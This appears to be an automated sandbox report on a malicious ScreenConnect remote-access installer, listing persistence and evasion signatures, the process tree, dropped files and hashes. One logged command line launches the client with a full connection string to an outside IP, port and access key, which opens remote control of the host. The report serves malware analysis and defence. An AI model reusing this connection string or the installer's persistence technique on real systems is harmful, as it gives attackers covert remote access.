Analysis

  • max time kernel
    148s
  • max time network
    114s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    11/07/2026, 00:19

General

  • Target
    ScreenConnect.ClientSetup.msi
  • Size 12.9MB
  • Sample260711-amaftabs2v
  • SHA256 0ce3b8a0893b99502ffd282af9bfcbffefe1b01d61166df7c29b6004af7348ce
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 17 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\ScreenConnect.ClientSetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3312
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3124
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 09D181925DFC726DDDE529426E2F61A6 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2720
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIE517.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240772703 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5364
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:2412
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding A5A358988EC831AADD61E4A1F98D796F
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:5632
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 4BEB3FAC17BC3D0C85D901C4B9B38A85 E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:4524
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:3440
    • C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=203.188.171.189&p=8041&s=10c630ea-8711-4ebb-93be-a326b2c62b0f&k=BgIAAACkAABSU0ExAAgAAAEAAQDVwNt3WUapvCDcaavSHjx5DHYJdyv4rqkTCJAnnYeqr8Hd1jKxU%2fDFKfkrmSJXmMwMkEHD2E3nTbli3LKxhXGkw%2bDdBUJeNSCEH%2bzrLI9M3HNwTHOgz2pf2%2fGs8Vzd8nNgr3l%2fEurxzltrh%2bnfcAiqpYZ2OJK9qvgIYG379f3uY2KPJr%2bmAuQbAvCRfnNNYck6n3btwO4CxI0cSOP8oSqx90htl5%2fhNolJ1X0i7bcgnKBvyyp3v6eBUU0SBsWuAzNKeNSnysrz0%2b29tSwjV0Gsz6g48HzvvTD2SlGTt6yUAfb%2b8zeGl1J9QLB6BeqKlGYsbsItB57IhRStufKqaznG&c=New&c=OT&c=OT&c=Win&c=&c=&c=&c="
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4292
      • C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsClient.exe" "RunRole" "b7748654-83f0-421b-8727-618df69bdf86" "User"
        2⤵
        • Executes dropped EXE
        PID:3432
      • C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsClient.exe" "RunRole" "d88a74c2-28a1-407c-a2b9-47d2d8378bdd" "System"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:5736

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          e5a33f3.rbs

          • Path C:\Config.Msi\e5a33f3.rbs
          • Size 214KB
          • SHA256 72961ff10e72525180360a4918a386c3ac57a07d5e30f821f3d1bddbdf2d5043
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\Client.Override.en-US.resources
          • Size 292B
          • SHA256 b4e477e01f1f681062dc5c200c24d4405f96965e800cb0def7ebb356f59fb5c4
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\Client.Override.resources
          • Size 43KB
          • SHA256 a6dfe06f5e03fc07ab138db534f0f257c0b16a9e7e45db1553116769a1d6e520
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsClient.exe
          • Size 588KB
          • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 822KB
          • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\app.config
          • Size 963B
          • SHA256 e83d538e6a597b02af3f70bbdd2830982961ef2e7a9e078222c1729dd7170503
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (a1e204c549397e5e)\system.config
          • Size 941B
          • SHA256 7c64192d74b9eea8dbec0404ea13000b0972462b87e9503bd43fcb841fdf3429
          • MD5 SHA1 SHA512 TLSH

          MSIE517.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE517.tmp
          • Size 1.0MB
          • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE517.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE517.tmp-\ScreenConnect.Core.dll
          • Size 536KB
          • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE517.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSIE517.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSI3B08.tmp

          • Path C:\Windows\Installer\MSI3B08.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          e5a33f2.msi

          • Path C:\Windows\Installer\e5a33f2.msi
          • Size 12.9MB
          • SHA256 0ce3b8a0893b99502ffd282af9bfcbffefe1b01d61166df7c29b6004af7348ce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 26.1MB
          • SHA256 cc575410f80522fbfbb713183040e8225c39bc522c40fb68820e7f98b1333dce
          • MD5 SHA1 SHA512 SSDEEP TLSH

          {18f04a25-188c-481e-962b-2f9f6118d70d}_OnDiskSnapshotProp

          • Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{18f04a25-188c-481e-962b-2f9f6118d70d}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 a7cc68bd5f5389ac658f5c973fc152bd63021bc9304c0201aca3fdbec84de1c8
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/3432-116-0x0000000000EE0000-0x0000000000F76000-memory.dmp

          memory/3432-122-0x0000000003120000-0x0000000003138000-memory.dmp

          memory/3432-121-0x0000000003090000-0x00000000030A8000-memory.dmp

          memory/3432-120-0x000000001C4B0000-0x000000001C638000-memory.dmp

          memory/3432-119-0x000000001C170000-0x000000001C31A000-memory.dmp

          memory/3432-118-0x000000001BF30000-0x000000001BFBC000-memory.dmp

          memory/3432-117-0x00000000030E0000-0x0000000003116000-memory.dmp

          memory/4292-75-0x0000000001E10000-0x0000000001E28000-memory.dmp

          memory/4292-102-0x0000000004800000-0x0000000004892000-memory.dmp

          memory/4292-86-0x00000000044B0000-0x0000000004500000-memory.dmp

          memory/4292-106-0x00000000049F0000-0x0000000004AC2000-memory.dmp

          memory/4292-92-0x0000000004500000-0x0000000004536000-memory.dmp

          memory/4292-104-0x0000000004540000-0x0000000004581000-memory.dmp

          memory/5364-18-0x00000000057F0000-0x000000000581E000-memory.dmp

          memory/5364-22-0x00000000037C0000-0x00000000037CA000-memory.dmp

          memory/5364-26-0x00000000058B0000-0x000000000593C000-memory.dmp

          memory/5364-30-0x0000000005AF0000-0x0000000005C9A000-memory.dmp

          memory/5364-31-0x0000000006260000-0x000000000681A000-memory.dmp